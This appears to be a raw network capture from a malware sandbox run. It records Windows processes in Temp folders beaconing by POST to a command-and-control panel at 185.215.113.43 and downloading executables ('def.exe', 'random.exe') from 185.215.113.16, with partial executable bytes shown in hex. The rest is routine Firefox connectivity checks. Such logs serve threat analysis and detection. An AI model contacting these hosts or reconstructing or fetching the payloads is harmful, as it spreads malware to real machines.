Oct 31, 2024 23:38:41.190465927 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 23:38:41.796374083 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 48762 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
19	192.168.2.4	50028	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:42.616581917 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 23:38:43.525113106 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:43 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
20	192.168.2.4	50045	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:45.694200039 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 23:38:46.550908089 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:46 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
21	192.168.2.4	50064	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:48.059793949 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 23:38:48.989150047 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:48 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
22	192.168.2.4	50073	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:50.642568111 CET	156	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 4 Cache-Control: no-cache Data Raw: 73 74 3d 73 Data Ascii: st=s
Oct 31, 2024 23:38:51.561044931 CET	219	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:51 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Refresh: 0; url = Login.php Data Raw: 31 0d 0a 20 0d 0a 30 0d 0a 0d 0a Data Ascii: 1 0

Session ID	Source IP	Source Port	Destination IP	Destination Port
23	192.168.2.4	50083	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:52.893353939 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 23:38:53.494370937 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 48774 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
24	192.168.2.4	50089	185.215.113.43	80	4040	C:\Users\user\AppData\Local\Temp\abc3bc1985\skotes.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:53.119901896 CET	308	OUT	POST /Zu7JuNko/index.php HTTP/1.1 Content-Type: application/x-www-form-urlencoded Host: 185.215.113.43 Content-Length: 154 Cache-Control: no-cache Data Raw: 72 3d 42 34 38 33 33 32 35 38 39 37 43 43 45 37 44 45 30 38 34 35 41 45 43 31 34 44 36 36 33 35 30 35 33 44 41 37 30 37 42 35 38 43 38 33 42 34 45 46 41 38 45 44 43 38 32 36 39 33 34 30 31 39 42 31 34 30 42 45 31 44 34 36 34 35 30 46 43 39 44 44 46 36 34 32 45 33 42 44 44 37 30 41 37 46 42 37 32 44 37 32 42 33 35 41 38 32 44 31 32 46 43 38 36 30 42 33 33 37 41 45 36 34 46 37 31 46 34 36 32 41 45 34 37 38 32 32 32 46 46 44 45 44 30 46 38 45 31 46 39 33 39 46 Data Ascii: r=B483325897CCE7DE0845AEC14D6635053DA707B58C83B4EFA8EDC826934019B140BE1D46450FC9DDF642E3BDD70A7FB72D72B35A82D12FC860B337AE64F71F462AE478222FFDED0F8E1F939F
Oct 31, 2024 23:38:54.032345057 CET	196	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:53 GMT Content-Type: text/html; charset=UTF-8 Transfer-Encoding: chunked Connection: keep-alive Data Raw: 37 0d 0a 20 3c 63 3e 3c 64 3e 0d 0a 30 0d 0a 0d 0a Data Ascii: 7 <c><d>0

Session ID	Source IP	Source Port	Destination IP	Destination Port
25	192.168.2.4	50095	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:53.515923023 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache
Oct 31, 2024 23:38:54.104970932 CET	216	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 8 Via: 1.1 google Date: Thu, 31 Oct 2024 15:29:25 GMT Age: 25769 Content-Type: text/plain Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 73 75 63 63 65 73 73 0a Data Ascii: success

Session ID	Source IP	Source Port	Destination IP	Destination Port
26	192.168.2.4	50097	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:53.705638885 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 23:38:54.300617933 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 48775 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 23:38:54.384851933 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 23:38:54.509285927 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 48775 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 23:38:54.679215908 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 23:38:54.804167986 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 48775 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 23:38:55.111990929 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 23:38:55.236808062 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 48776 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 23:38:55.296546936 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 23:38:55.421133041 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 48776 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 23:39:00.091124058 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 23:39:00.215437889 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 48781 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>
Oct 31, 2024 23:39:10.234323978 CET	6	OUT	Data Raw: 00 Data Ascii:
Oct 31, 2024 23:39:11.107450962 CET	303	OUT	GET /canonical.html HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Cache-Control: no-cache Pragma: no-cache Connection: keep-alive
Oct 31, 2024 23:39:11.232211113 CET	298	IN	HTTP/1.1 200 OK Server: nginx Content-Length: 90 Via: 1.1 google Date: Thu, 31 Oct 2024 09:05:59 GMT Age: 48792 Content-Type: text/html Cache-Control: public,must-revalidate,max-age=0,s-maxage=3600 Data Raw: 3c 6d 65 74 61 20 68 74 74 70 2d 65 71 75 69 76 3d 22 72 65 66 72 65 73 68 22 20 63 6f 6e 74 65 6e 74 3d 22 30 3b 75 72 6c 3d 68 74 74 70 73 3a 2f 2f 73 75 70 70 6f 72 74 2e 6d 6f 7a 69 6c 6c 61 2e 6f 72 67 2f 6b 62 2f 63 61 70 74 69 76 65 2d 70 6f 72 74 61 6c 22 2f 3e Data Ascii: <meta http-equiv="refresh" content="0;url=https://support.mozilla.org/kb/captive-portal"/>

Session ID	Source IP	Source Port	Destination IP	Destination Port
27	192.168.2.4	50102	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:54.386687040 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
28	192.168.2.4	50105	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:54.676013947 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
29	192.168.2.4	50110	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:54.816732883 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port
30	192.168.2.4	50113	34.107.221.82	80

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:55.250529051 CET	305	OUT	GET /success.txt?ipv4 HTTP/1.1 Host: detectportal.firefox.com User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/118.0 Accept: / Accept-Language: en-US,en;q=0.5 Accept-Encoding: gzip, deflate Connection: keep-alive Pragma: no-cache Cache-Control: no-cache

Session ID	Source IP	Source Port	Destination IP	Destination Port	PID	Process
31	192.168.2.4	50114	185.215.113.16	80	3264	C:\Users\user\AppData\Local\Temp\1003020001\0bdaf26796.exe

Timestamp	Bytes transferred	Direction	Data
Oct 31, 2024 23:38:55.364357948 CET	200	OUT	GET /off/def.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 23:38:56.284843922 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:38:56 GMT Content-Type: application/octet-stream Content-Length: 2812416 Last-Modified: Thu, 31 Oct 2024 21:45:05 GMT Connection: keep-alive ETag: "6723fa61-2aea00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 7a 86 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 80 00 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 50 45 00 00 4c 01 06 00 50 28 2c 65 00 00 00 00 00 00 00 00 e0 00 22 00 0b 01 30 00 00 24 00 00 00 08 00 00 00 00 00 00 00 60 2b 00 00 20 00 00 00 60 00 00 00 00 40 00 00 20 00 00 00 02 00 00 04 00 00 00 00 00 00 00 06 00 00 00 00 00 00 00 00 a0 2b 00 00 04 00 00 68 e4 2b 00 02 00 60 00 00 00 10 00 00 10 00 00 00 00 10 00 00 10 00 00 00 00 00 00 10 00 00 00 00 00 00 00 00 00 00 00 55 80 00 00 69 00 00 00 00 60 00 00 9c 05 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 f8 81 00 00 08 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 [TRUNCATED] Data Ascii: MZ@z!L!This program cannot be run in DOS mode.$PELP(,e"0$`+ `@ +h+`Ui` @ @.rsrc`2@.idata 8@mumtztzr*:@ueaihgqr @+@.taggant@`+"*@
Oct 31, 2024 23:38:56.284924984 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:56.284980059 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:56.285015106 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:56.285051107 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:56.285084009 CET	960	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:56.285116911 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii:
Oct 31, 2024 23:38:56.285151005 CET	1236	IN	Data Raw: 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 Data Ascii: i~5OZpVNJ=e6HUi@Pi$\R&9HY0:uawwYO9[P`\|/D^kRdVF@:8XQ,]SLtlQ>\V?W07BMXyACSS1P]tsrbLURXluc<]?it){CcXcSZ
Oct 31, 2024 23:38:56.285185099 CET	1236	IN	Data Raw: b6 ab 5f 78 67 5f 91 60 36 34 34 69 f3 de f5 80 f4 67 52 30 2f 64 bc 56 26 7f 70 16 25 4d 8a 52 22 32 56 d1 4d 3c 57 6a 85 44 e2 aa 3c 73 b7 bc 9a b5 57 d0 3a 93 56 5e 55 7c 6d b9 a0 8c a1 d8 48 69 9d 56 2a 91 d2 ae e4 40 5e 06 1d 02 2c 95 b4 d7 Data Ascii: _xg_`644igR0/dV&p%MR"2VM<WjD<sW:V^U\|mHiV*@^,js^Pw'ji^]Xc>TTf`n^YfYva Z~Rqv+YMdDDYSv%vY=pXxJJj\WR!]QY)-EKW~QdEHTb/
Oct 31, 2024 23:38:56.285223007 CET	1236	IN	Data Raw: da 7d c5 02 87 d4 b5 b0 48 4e bb 47 a9 e7 c3 b2 24 c6 65 a0 5b bc bd 3f 60 bf 0f ce 05 ac ac 94 55 33 b2 8b 29 7b 3c 75 e6 44 1c a1 7c a3 cd 6d 1e cc 9d e3 7a c2 0b 6e 20 cc b5 53 a2 0a 91 aa 1e 86 ae b9 2e ab f2 58 d1 2d 40 b5 b4 bf 5e 58 76 2a Data Ascii: }HNG$e[?`U3){<uD\|mzn S.X-@^Xv*tHGZBbb#EgfeEm,{Ka"O]^`d~fERt`hXkLRA5RthyJ{0>'7$XphZB\ad\|[yjqN+aa;eWV.
Oct 31, 2024 23:38:56.290344000 CET	1236	IN	Data Raw: 42 e1 2b f1 2a 31 6b a4 e2 ac e1 6a d7 ab c5 28 2a 8a c0 5a dc 66 ad df 87 6d 9b 77 18 61 80 c4 da 52 12 b6 9e f9 a2 1a 2c a4 5b 8d 2f 61 d9 b4 e8 26 4e a7 b9 7f d6 7e 19 b2 84 9b bf fb ce 4b ff 85 42 a6 d2 3c 6d bd 13 72 55 4f 02 24 53 1a 26 49 Data Ascii: B+1kj(ZfmwaR,[/a&N~KB<mrUO$S&I[:FRH?JeZ>Q0o_iUFj$>bZ_[k%bd}]>N^o6T+m<F^^T;/Nh+l-#SW(5@~NMoeA@ROX7QJ#WlY=QMi-)b=&tlQ>S=VZX]@ZWFQ
Oct 31, 2024 23:38:59.915060997 CET	204	OUT	GET /mine/random.exe HTTP/1.1 Connection: Keep-Alive User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/119.0.0.0 Safari/537.36 Host: 185.215.113.16
Oct 31, 2024 23:39:00.197216034 CET	1236	IN	HTTP/1.1 200 OK Server: nginx/1.18.0 (Ubuntu) Date: Thu, 31 Oct 2024 22:39:00 GMT Content-Type: application/octet-stream Content-Length: 1890816 Last-Modified: Thu, 31 Oct 2024 22:34:53 GMT Connection: keep-alive ETag: "6724060d-1cda00" Accept-Ranges: bytes Data Raw: 4d 5a 90 00 03 00 00 00 04 00 00 00 ff ff 00 00 b8 00 00 00 00 00 00 00 40 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 00 08 01 00 00 0e 1f ba 0e 00 b4 09 cd 21 b8 01 4c cd 21 54 68 69 73 20 70 72 6f 67 72 61 6d 20 63 61 6e 6e 6f 74 20 62 65 20 72 75 6e 20 69 6e 20 44 4f 53 20 6d 6f 64 65 2e 0d 0d 0a 24 00 00 00 00 00 00 00 a7 bb 2d 49 e3 da 43 1a e3 da 43 1a e3 da 43 1a b8 b2 40 1b ed da 43 1a b8 